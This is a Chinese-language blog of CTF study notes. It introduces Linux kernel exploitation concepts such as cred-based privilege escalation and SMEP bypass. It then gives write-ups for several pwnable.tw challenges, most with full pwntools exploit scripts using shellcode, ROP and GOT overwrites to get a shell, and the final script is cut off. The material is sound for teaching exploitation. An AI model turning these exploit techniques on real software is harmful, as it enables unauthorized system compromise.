0%

内核pwn

今天就先不刷pwnabe.tw上的题了,开整内核方面的东西。

0x1 环境搭建

搭建1起来没有lot环境搭建困难,通过搭建环境也了解了很多东西,我第一次知道文件系统居然是独立的,以前以为一直和内核紧密相连,也越来越理解一切皆文件这句话了,不管是设备还是什么,都可以当做文件操作,真的很神奇。

我是借鉴(照抄)这个博客搭建环境的https://www.anquanke.com/post/id/258874,写的很细很棒,不仅讲了一些原理,还很细致的把环境搭建讲明白了,在搭建过程中,我主要卡在两个地方了,一个是我不了解Makefile,把M小写了,导致编译模块的时候一直不成功,当时都快自闭了,另一个是整文件系统的时候,在etc的initab编写的时候有条指令不能照搬,原博客指令如下

1
2
3
4
5
6
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

正确指令

1
2
3
4
5
6
::sysinit:/etc/init.d/rcS
ttyS0::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

至于原因,我没看懂😃,剩下的照抄就行了,然后kernel就能通过qemu正确运行了。

1
2
3
4
5
6
7
8
9
10
rootzhang@rootzhang-virtual-machine:~/pwn$ ./boot.sh
warning: TCG doesn't support requested feature: CPUID.01H:EDX.vme [bit 1]
warning: TCG doesn't support requested feature: CPUID.01H:EDX.vme [bit 1]
mount: mounting none on /sys failed: No such device

Please press Enter to activate this console.
/ # ls
bin etc init lib64 proc sbin usr
dev home lib linuxrc root sys

0x2 内核初理解

内核是什么东西

内核并不是什么神奇的东西,他也是一个程序,一切的行为都有对应代码支撑,他的定位就是中间层,对上提供用户态程序的运行和对用户态提供抽象的操作硬件的api,对下直接和硬件相互交互的程序。

内核和用户态的切换

当发生系统调用,产生异常,外设产生中断等事件的时候,会发生用户态到内核太的切换,一般的函数调用思路就是保存当前栈帧的状态,然后跳到新地址,内核态和用户态的切换也是类似,其中用户态到内核态的切换具体过程如下(照搬的)

  1. 通过 swapgs 切换 GS 段寄存器(代码段寄存器),将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。

  2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入RSP/ESP

  3. 通过 push 保存各寄存器值,具体的

    代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    ENTRY(entry_SYSCALL_64)
    /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
    SWAPGS_UNSAFE_STACK

    /* 保存栈值,并设置内核栈 */
    movq %rsp, PER_CPU_VAR(rsp_scratch)
    movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp

    /* 通过push保存寄存器值,形成一个pt_regs结构 */
    /* Construct struct pt_regs on stack */
    pushq $__USER_DS /* pt_regs->ss */
    pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
    pushq %r11 /* pt_regs->flags */
    pushq $__USER_CS /* pt_regs->cs */
    pushq %rcx /* pt_regs->ip */
    pushq %rax /* pt_regs->orig_ax */
    pushq %rdi /* pt_regs->di */
    pushq %rsi /* pt_regs->si */
    pushq %rdx /* pt_regs->dx */
    pushq %rcx tuichu /* pt_regs->cx */
    pushq $-ENOSYS /* pt_regs->ax */
    pushq %r8 /* pt_regs->r8 */
    pushq %r9 /* pt_regs->r9 */
    pushq %r10 /* pt_regs->r10 */
    pushq %r11 /* pt_regs->r11 */
    sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */

内核态到用户态的切换也是如此

内核的分级保护域

简称rings,感觉就是权限的意思,大部分现代操作系统只采用ring0权限和ring3权限,ring0权限就是root,kernel就是ring0,ring3权限较低,一般用户态程序就是ring3,以我目前的粗略理解,kernelpwn就是通过内核模块的漏洞对用户态程序进行提权到root然后getshell。

进程管理

kernel调度着所有系统资源,进程也是资源,也归kernel管,管理的策略就是使用结构体 task_struct 记录进程信息,每个task_struct都记录着一个进程的信息,其中又有专门的结构体cred记录程序的权限,每个程序都有一个cred结构,如果能修改对应进程的cred,那也就能修改这个进程的权限了,结构体源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
/* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;

进程权限改变

进程提权主要依靠两个协力完成。

  • struct cred* prepare_kernel_cred(struct task_struct* daemon):该函数用以拷贝一个进程的cred结构体,并返回一个新的cred结构体,需要注意的是daemon参数应为有效的进程描述符地址或NULL,假如传入的是null,那函数就会返回一个root权限的cred.
  • int commit_creds(struct cred *new):该函数用以将一个新的cred结构体应用到进程

通过commit_creds(prepare_kernel_cred(NULL))这套组合拳就能把用户态进程的cred更新为一个root的cred.

(也有可能直接溢出改,我猜的,毕竟还没做过题😃)

内核保护机制

KASLR:内核地址随机化,和aslr类似,知道了一个地址再加上一个偏移就能知道基地址了,在没开启KASLR的时候,内核的基地址是0xffffffff81000000

STACK PROTECTOR:和canary类似,用以检测是否发生了内核堆栈溢出,如果发生内核堆栈溢出则会产生kernel panic.

SMAP/SMEP:smap的作用时阻止内核空间直接访问用户空间的数据,smep用以阻止内核空间执行用户空间的数据。目的是让内核空间和用户空间完全隔开。

一共有两种绕过(照搬)

  • 在设计中,为了使隔离的数据进行交换时具有更高的性能,隐性地址共享始终存在(VDSO & VSYSCALL),用户态进程与内核共享同一块物理内存,因此通过隐性内存共享可以完整的绕过软件和硬件的隔离保护,这种攻击方式被称之为ret2dir(return-to-direct-mapped memory )
  • Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护(1为开启,0为关闭),若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护,完成SMEP-bypass,接下来就能够重新进行ret2usr

KPTI:KPTI即内核页表隔离(Kernel page-table isolation),内核空间与用户空间分别使用两组不同的页表集,这对于内核的内存管理产生了根本性的变化(完全没理解)

LKMs

可装载内核模块,简称LKMs,顾名思义就是内核中可装载可拆卸的程序,可以提供内核原本不具备的服务又不至于重新更新整个系统的东西,一般的kernelpwn题的漏洞都是出在出题人自己写的lkms上面。

  • lsmod:列出现有的LKMs
  • insmod:装载新的LKM(需要root)
  • rmmod:从内核中移除LKM(需要root)

内核态函数调用(照搬)

  1. printf()变更为**printk()**,但需要注意的是printk()不一定会把内容显示到终端上,但一定在内核缓冲区里,可以通过 dmesg 查看效果。
  2. memcpy()变更为copy_from_user()/copy_to_user()
    • copy_from_user() 实现了将用户空间的数据传送到内核空间
    • copy_to_user() 实现了将内核空间的数据传送到用户空间
  3. malloc()变更为**kmalloc()**,内核态的内存分配函数,和malloc()相似,但使用的是 slab/slub 分配器
  4. free()变更为**kfree()**,同 kmalloc()

对内核的搭建和认识就到这了,下面进入实战阶段

title: pwnable.tw
date: 2021-11-26 16:02:02
tags:

pwnable.tw

开始刷pwnable.tw的题,看界面挺酷的,感觉非常有难度,希望能坚持的久一点。

start

保护全关,直接栈上写汇编就行,不过不能使用shellcraft.sh(),这个太大,自己写个汇编就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#sh=process('./start')
#gdb.attach(sh,'b *0x08048097')
sh=remote('chall.pwnable.tw',10000)
payload='a'*4*5+p32(0x08048087)
sh.recvuntil('Let\'s start the CTF:')
sh.send(payload)
stact_addr=u32(sh.recv(4))-4+4*5+4
print hex(stact_addr)
shellcode='''
mov eax, 11
mov ebx, {0}
mov ecx, 0
mov edx, 0
int 0x80
'''.format(stact_addr-4-4*5)
shellcode=asm(shellcode)
print len(shellcode)
payload='/bin/sh\x00'.ljust(4*5,'a')+p32(stact_addr)+shellcode
sh.send(payload)
sh.interactive()

总结

写的可能有点麻烦,但大概流程就是泄露栈地址,然后直接asm,这个程序有意思的地方是只有两个函数start和exit,一般程序启动时的调用过程是这样的,_start-> __libc_start_main->main,其中start和libc_start_mian是gcc汇编的时候加进去的。

ORW

接收一个shellocde直接执行,没啥东西,不过这个是在段上执行,在本地竟然没办法执行也不知道为啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#sh=process('./orw')
sh=remote('chall.pwnable.tw',10001)
#gdb.attach(sh,'b *0x0804858A')
shellcode='''
mov eax, 5
mov ebx, 0x804a100
mov ecx, 0
mov edx, 0
int 0x80
mov eax, 3
mov ebx, 3
mov ecx, 0x804a160
mov edx, 0x30
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, 0x804a160
mov edx, 0x30
int 0x80
'''
shellcode=asm(shellcode)
payload=shellcode.ljust(0xa0,'\x00')
payload+='/home/orw/flag\x00'
sh.recvuntil('Give my your shellcode:')
sh.send(payload)
print sh.recv()
sh.interactive()

总结

系统调用时i386和amd64接收参数的寄存器不一样,amd64接收前三位参数的寄存器分别是’rdi,rsi,rdx’,i386是’ebx,ecx,edx’,平时的i386函数调用参数是放在栈上的。

CVE-2018-1160

看源码看得我头皮发麻,看别人的wp也看的我头皮发麻,应该不是我现在水平能做的,以后再回来填坑吧。

calc

代码比较复杂,看了快两个小时才看懂算法的整个策略,前半个多小时不知道calc是计算器的意思,看了老半天都没看懂这个程序是要干啥的,后面才知道calc是计算的意思,这个程序就是完成一个简单的计算器,策略是当前符号是+或者-则算上一次的符号,然后把当前符号压栈,如果是%,*,/就看上一次符号是不是+,-,如果是的话,把当前符号压栈,如果不是的话算上一次的符号,然后把当前符号压栈。策略是搞清楚了,但是漏洞还没找见🤦‍♀️🤦‍♀️🤦‍♀️🤦‍♀️

发现了一个盲点,表达式的第一个值可以是符号,我稍微试了一下,当出现’-8-8’,就会发生段错误,😃😃😃有比较明确的思路了

1
2
3
4
5
=== Welcome to SECPROG calculator ===
+360+1
-5105367

段错误 (核心已转储)

历时五六个小时,终于做出来了,漏洞就是上面那个样子,不过得巧妙利用才行,最后修改calc函数的返回地址为构造的rop,最后成功getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
#sh=process('./calc')
sh=remote('chall.pwnable.tw',10100)
#gdb.attach(sh,'b *0x08049433')
'''
0x08049a21: int 0x80;
0x0805c34b: pop eax; ret;
0x08070880: int 0x80; ret;
0x080481d1: pop ebx; ret;
0x080701d1: pop ecx; pop ebx; ret;
0x080701aa: pop edx; ret;
0x080bc4f6: pop esp; ret;
'''
pop_eax=0x0805c34b
pop_esp=0x080bc4f6
pop_ecx_ebx=0x080701d1
int80=0x08070880
pop_edx=0x080701aa
bss_addr=0x80eb000
rop_read=[pop_eax,3,pop_ecx_ebx,bss_addr,0,pop_edx,0x50,int80,pop_esp,bss_addr+0x10]
def rop_build(rop):
payload='+360+1'
sh.sendline(payload)
for i in range(len(rop)):
m=361+i
payload='+{0}-1'.format(m)
sh.sendline(payload)
payload='+{0}+{1}'.format(m,rop[i])
sh.sendline(payload)
payload='+{0}-{1}'.format(m+1,rop[i]-1)
sh.sendline(payload)
def exp():
payload='+360+1'
sh.recvuntil('=== Welcome to SECPROG calculator ===')
rop_build(rop_read)
sh.send('\n')
payload='/bin/sh\x00'.ljust(0x10,'\x00')+p32(pop_eax)+p32(11)
payload+=p32(pop_ecx_ebx)+p32(0)+p32(bss_addr)+p32(pop_edx)+p32(0)
payload+=p32(int80)
sh.sendline(payload)
sh.interactive()
exp()

脚本写的比较复杂,估计几天后我来看也看不懂了,不过至今还没看过别人的wp,都是自己搞出来的😊

3x17

继续开刷,这个程序和上面那个一样也是静态链接,而且还没有符号表,连main函数都是我通过字符串找到的,main函数的代码比较简单,提供了一次任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
write(1u, "addr:", 5uLL);
read(0, buf, 0x18uLL);
v4 = (char *)(int)sub_40EE70((__int64)buf);
write(1u, "data:", 5uLL);
read(0, v4, 0x18uLL);
result = 0;
}
if ( __readfsqword(0x28u) != v6 )
sub_44A3E0();
return result;
}

因为是静态链接,所以没有plt和got,没法直接改函数地址完成攻击,难搞。🤦‍♀️

看了快两个小时没有看出来应该用这个任意写怎么攻击这个程序,看了别人的博客恍然大悟,原来是改fini_array的值,类似的题我之前在攻防世界上看过,但是没有这个难,那个就是改fini_array的一个指针为后门函数的地址然后调用,这个没有后门函数,就算有因为没有符号表你也看不出来,而且都还是syscall调用,也不能写shellcode,只能rop,能想到这其实也只是开头,最难的还是怎么构造rop,且容我从头细细道来。

如何控制程序流

在第一道题就已经初步了解过程序并不是直接调用main函数的,gcc编译的时候会在还会添加额外的函数,编译过后程序的调用过程是这样的。

1
_start -> __libc_start_main -> __libc_csu_init ->  main -> __libc_csu__fini.

这个程序也是按这个执行的,只不过没有符号表不能立马找见函数,不过可以通过start的调用关系找见,漏洞成因在__libc_csu_init和__libc_csu__fini上面,这两个函数都有一个对应的虚表,一个是init_array,一个是fini_array,里面储存了函数指针,调用这两个函数时就会从自己的虚表的取出函数指针然后跳到这执行,这个虚表是可以更改的,所以可以通过这里拿到程序流了,两个虚表我们能利用的是fini_array,他储存着两个地址,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ini_array:00000000004B40F0 _fini_array     segment qword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 byte_4B40F0 db 0 ; DATA XREF: sub_4028D0+4C↑o
.fini_array:00000000004B40F0 ; sub_402960+8↑o
.fini_array:00000000004B40F1 db 1Bh
.fini_array:00000000004B40F2 db 40h ; @
.fini_array:00000000004B40F3 db 0
.fini_array:00000000004B40F4 db 0
.fini_array:00000000004B40F5 db 0
.fini_array:00000000004B40F6 db 0
.fini_array:00000000004B40F7 db 0
.fini_array:00000000004B40F8 db 80h
.fini_array:00000000004B40F9 db 15h
.fini_array:00000000004B40FA db 40h ; @
.fini_array:00000000004B40FB db 0
.fini_array:00000000004B40FC db 0
.fini_array:00000000004B40FD db 0
.fini_array:00000000004B40FE db 0
.fini_array:00000000004B40FF db 0
.fini_array:00000000004B40FF _fini_array ends

调用时先调用fini_array[1],然后调用fini_array[0],只要把fini_array[1]写上main函数地址,然后把fini_array[1]写上__libc_csu__fini地址就能循环main函数,达成了多次任意写

由于我们找不见后门函数而且还是静态链接无法得到ogg,所以没办法一次性直接getshell,shellcode也不行,所以只能rop,但是我们不能直接控制rsp,现在问题更新了,该怎么控制rsp,rop又改写到哪。

通过浏览别的wp,他们结合rop的变化提供了一个非常巧妙的控制rop的gadget,_libc_csu_fini的代码大致如下。

1
2
.text:000000000040297D                 lea     rbp, &fini_array
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]

先是让rbx储存fini_array的地址,然后通过rbp调用虚表中的函数,rbp不再指向栈帧而是指向了一个可以写的地址,那我们就可以利用rbp,把rbp的值赋值给rsp,我在ropper上面搜了,没有可以直接赋值的gadget,我在这里又卡住了,翻看了别人的wp发现竟然是用leave_ret进行赋值,妙👌leave_ret其实可以拆分成’mov rsp,rbp;pop rbp,ret’,完美把rbp赋值给rsp,当执行ret的时候rsp指向了fini_array[1],只要让fini_array[1]储存ret,那rsp又指向了fini_array+0x10,这个地址不属于fini_array且能写,只要向这里写入rop就完成攻击了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#sh=process('./pwn')
sh=remote('chall.pwnable.tw',10105)
context(os='linux',log_level='debug',arch='amd64')
#gdb.attach(sh,'b *0x401BC1')
fini_arrray=0x00000000004B40F0
pop_rax=0x000000000041e4af
pop_rdi=0x0000000000401696
pop_rsi=0x0000000000406c30
pop_rdx=0x0000000000446e35
leavel_ret=0x401C4B
rop_addr=0x4B4100
main=0x401B6D
libc_cus_fini=0x402960
binsh_addr=0x4b4000
syscall=0x0000000000471db5
ret=0x0000000000401016
def write_addr(addr,data):
sh.recvuntil('addr:',timeout=10000)
sh.send(str(addr))
sh.recvuntil("data:",timeout=10000)
sh.send(data)
def exp():
write_addr(fini_arrray,p64(libc_cus_fini)+p64(main))
write_addr(binsh_addr,'/bin/sh\x00')
write_addr(rop_addr,p64(pop_rax))
write_addr(rop_addr+0x8,p64(0x3b))
write_addr(rop_addr+0x8*2,p64(pop_rdi))
write_addr(rop_addr+0x8*3,p64(binsh_addr))
write_addr(rop_addr+0x8*4,p64(pop_rsi))
write_addr(rop_addr+0x8*5,p64(0))
write_addr(rop_addr+0x8*6,p64(pop_rdx))
write_addr(rop_addr+0x8*7,p64(0))
write_addr(rop_addr+0x8*8,p64(syscall))
write_addr(fini_arrray,p64(leavel_ret)+p64(ret))
sh.interactive()
exp()

可惜的是可能我的vpn不是太好,跑远程的老是不行。

doublesort

保护

1
2
3
4
5
6
7
[*] '/home/rootzhang/get-shell/pwnable.tw/doublesort/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

就是栈溢出主要是避免canary,通过这道题又学了一招,当scanf在缓存区拿值时检测到是非法字符并不会储存到对应地址,而是直接退出,所以只要构造非法字符就跳过对canary的覆盖就好了,不过不是任意字符,比如当出现’a’时它检测到’a’非法于是直接退出,这样一来’a’还是留在缓存区了,下次还是’a’,只有’+’或者’-‘时既会退出又更新了缓存区。

最后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(os='linux',log_level='debug',arch='i386')
sh=process('./pwn')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
system_offset=libc.sym['system']
binsh_offfset=libc.search('/bin/sh\x00').next()
print hex(system_offset)
print hex(binsh_offfset)
'''
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
'''
ogg=[0x3a819,0x5f065,0x5f066]
#gdb.attach(sh,'b read')
def exp():
sh.recvuntil('What your name :')
sh.send('a'*0x1b+'b')
sh.recvuntil('aaab')
libc_addr=u32(sh.recv(4))-0x1b1244
system=system_offset+libc_addr
binsh=binsh_offfset+libc_addr
elf_addr=u32(sh.recv(4))-0x601
canary=elf_addr+0xb2b
print hex(libc_addr)
sh.recvuntil('How many numbers do you what to sort :')
sh.sendline(str(35))
for i in range(0x18):
sh.recvuntil('number : ')
sh.sendline('123')
sh.recvuntil('number : ')
sh.sendline('+')
for i in range(8):
sh.recvuntil('number : ')
sh.sendline(str(system))
sh.recvuntil('number : ')
sh.sendline(str(binsh))
sh.recvuntil('number : ')
sh.sendline(str(binsh))
sh.recv()
sh.interactive()
exp()

我sb了,32位系统函数地址后跟着的是返回地址,并不直接是参数,这个卡了快两个小时,64位的题做多了。

hacknote

这道题我之前做过,翻我博客应该能看见,就不做了。

silver bullet

这道题在最近一次比赛中见过,漏洞差不多,但攻击程序的方式不太一样,之前那道题就是利用stncat拷贝字节后会再添加一个\x00,这样就能越界覆盖了,然后那道题还给了一个libc地址和任意写,直接打exit_hook了,这道题只有strncat,但是没有canary保护,我现在的思路就是直接栈溢出完成攻击

成功了,这是脚本,我觉得这道题比calc要简单多了,不知道为啥还没有calc做出来的多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(os='linux',log_level='debug')
sh=process('./pwn')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']


def create_silver(context):
sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Give me your description of bullet :')
sh.send(context)

def power_up(context):
sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Give me your another description of bullet :')
sh.send(context)

def exp():
gdb.attach(sh,'b *0x08048A18')
create_silver('a'*47)
power_up('a')
payload='\xff\xff\xff'+'a'*4+p32(puts_plt)+p32(0x08048954)+p32(puts_got)
power_up(payload)
sh.recvuntil('Your choice :')
sh.sendline('3')
sh.recvuntil('Oh ! You win !!\n')
libc_base=u32(sh.recv(4))-libc.sym['puts']
#print hex(libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search('/bin/sh\x00'))
create_silver('a'*47)
power_up('a')
payload='\xff\xff\xff'+'a'*4+p32(system)+p32(0x08048954)+p32(binsh)
power_up(payload)
sh.recvuntil('Your choice :')
sh.sendline('3')
sh.interactive()

exp()

appstore

看懂程序的整个流程看了快一个小时吧,看懂后找见了漏洞但是不知道怎么利用,又卡了好久,最后想不出来看别的wp了。

看完wp后慢脑子都是秒啊😃😃,竟然是利用ebp进行got写,未曾设想过得道理。

保护

1
2
3
4
RELRO:    Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以写got表还不开pie.

漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2[5]; // [esp+18h] [ebp-20h] BYREF
unsigned int v3; // [esp+2Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(v2, "%s", "iPhone 8");
v2[1] = (char *)1;
insert((int)v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v3;
}

当所购物品总价等于7174时,没有用堆记录节点并链接到链表上,而是把信息记录在栈上面,堆上的信息我们不可能改写,但是栈上的数据是可能的啊,如果能改写这个节点信息,那就可以干好多事了。

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int cart()
{
int v0; // eax
int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
int i; // [esp+20h] [ebp-28h]
char buf[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(buf, 0x15u);
if ( buf[0] == 121 )
{
puts("==== Cart ====");
for ( i = *(_DWORD *)&byte_804B070; i; i = *(_DWORD *)(i + 8) )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *(const char **)i, *(_DWORD *)(i + 4));
v3 += *(_DWORD *)(i + 4);
}
}
return v3;
}

handler的所有分支函数的ebp都是不变的,在checkout函数中节点离ebp0x20,在其他函数中比如上面这个,buf离ebp0x22,离节点只差0x2个字节,那就可以利用Buf来改写节点信息

可以通过改写节点信息leak地址,我以前只会leak出libc的地址和elf的地址,没想到还能leak栈地址,在libc的environ中就记录着一个栈地址,利用这个栈地址就可以推出所以栈地址了。

leak完地址就该控制程序流了,可惜的是这道题不能直接改got表,脱链操作是双向的,system那块地址不能写,那该怎么控制程序流呢,这道题最妙的地方来了😊,先是利用栈地址把ebp改成atoi_got+0x22,然后退出del程序,然后ebp就指向了atoi_got了,然后程序根据ebp的值为索引进行写操作,如下

1
2
3
4
5
6
7
8
9
10
11
12
unsigned int handler()
{
char nptr[22]; // [esp+16h] [ebp-22h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(nptr, 0x15u);
switch ( atoi(nptr) )

此时nptr就指向了atoi_got,实际上就是向atoi_got中写入数据,我们写个system+’;/bin/sh’岂不是妙哉

下面是完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from os import system
from pwn import *
sh=process('./pwn')
context(os='linux',log_level='debug')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
elf=ELF('./pwn')

def buy_apple(idx):
sh.recvuntil('> ')
sh.sendline('2')
sh.recvuntil('Device Number>')
sh.sendline(str(idx))

def exp():
gdb.attach(sh,'b *0x08048A13')
for i in range(7):
buy_apple(1)
for i in range(18):
buy_apple(2)
buy_apple(4)
sh.recvuntil('> ')
sh.sendline('5')
sh.recvuntil('Let me check your cart. ok? (y/n) > ')
sh.sendline('y\x00')

sh.recvuntil('> ')
sh.sendline('4')
sh.recvuntil('Let me check your cart. ok? (y/n) > ')
payload='y\x00'+p32(elf.got['puts'])+p32(0)+p32(0)
sh.send(payload)
sh.recvuntil('27: ')
libc_base=u32(sh.recv(4))-libc.sym['puts']
system=libc_base+libc.sym['system']
print hex(libc_base)

sh.recvuntil('> ')
sh.sendline('4')
environ_addr=libc_base+libc.sym['environ']
sh.recvuntil('Let me check your cart. ok? (y/n) > ')
payload='y\x00'+p32(environ_addr)+p32(0)+p32(0)
sh.send(payload)
sh.recvuntil('27: ')
ebp=u32(sh.recv(4))-260
print hex(ebp)

atoi_got=elf.got['atoi']
sh.recvuntil('> ')
sh.sendline('3')
print hex(atoi_got)
payload=str(27)+p64(0)+p32(atoi_got+0x22)+p32(ebp-8)
sh.recvuntil('Item Number> ')
sh.send(payload)


sh.recvuntil("> ")
sh.sendline(p32(system)+";/bin/sh\x00")
sh.interactive()
exp()

relloc

​ 全程使用realloc函数进行堆的申请和释放,下面是realloc函数的特性

  • size为0,就等于free()函数,同时返回值为NULL
  • 当指针为0,size大于0,就等于malloc()函数
  • size小于等于原来的size,则在原堆块上缩小,多余的大小free()
  • size大于原来的size,如果bin中有多余的堆块就进行扩充,没有多余的堆块则重新分配新的堆块,并将内容复制到新的堆块中,然后再将原来的堆块free()

漏洞

在reallocate的时候只限制的最大值,没有限制最小值,所以可以输入0造成ufa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int reallocate()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]

printf("Index:");
v1 = read_long();
if ( v1 > 1 || !heap[v1] )
return puts("Invalid !");
printf("Size:");
size = read_long();
if ( size > 0x78 )
return puts("Too large!");
v3 = realloc((void *)heap[v1], size);
if ( !v3 )
return puts("alloc error");
heap[v1] = v3;
printf("Data:");
return read_input(heap[v1], (unsigned int)size);
}

漏洞利用

思路1

这个函数没有show功能,所以本来计划是拿ufa打stdout,打也打成功了,libc地址也拿到了,但是heap[0]这个指针算费了,因为realloc函数会对传进来的指针进行检查,如果不是堆上的地址就会报错退出,heap[0]已经指向了stdout了,后续没法再使用heap[0],最可恶的是这个程序只能有两个指针,剩下的一个指正根本没办法申请到别的地方,我是做不到,虽然没做出来,但还是把脚本放出来,因为在打stdout的时候还利用了malloc_consolidate,利用scanf申请一个largebin大小的堆,然后就会触发malloc_consolidate合并fastbin相邻的堆块放到smallbin上面,算是一个小知识点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from os import system
from pwn import *
context(os='linux',log_level='debug')
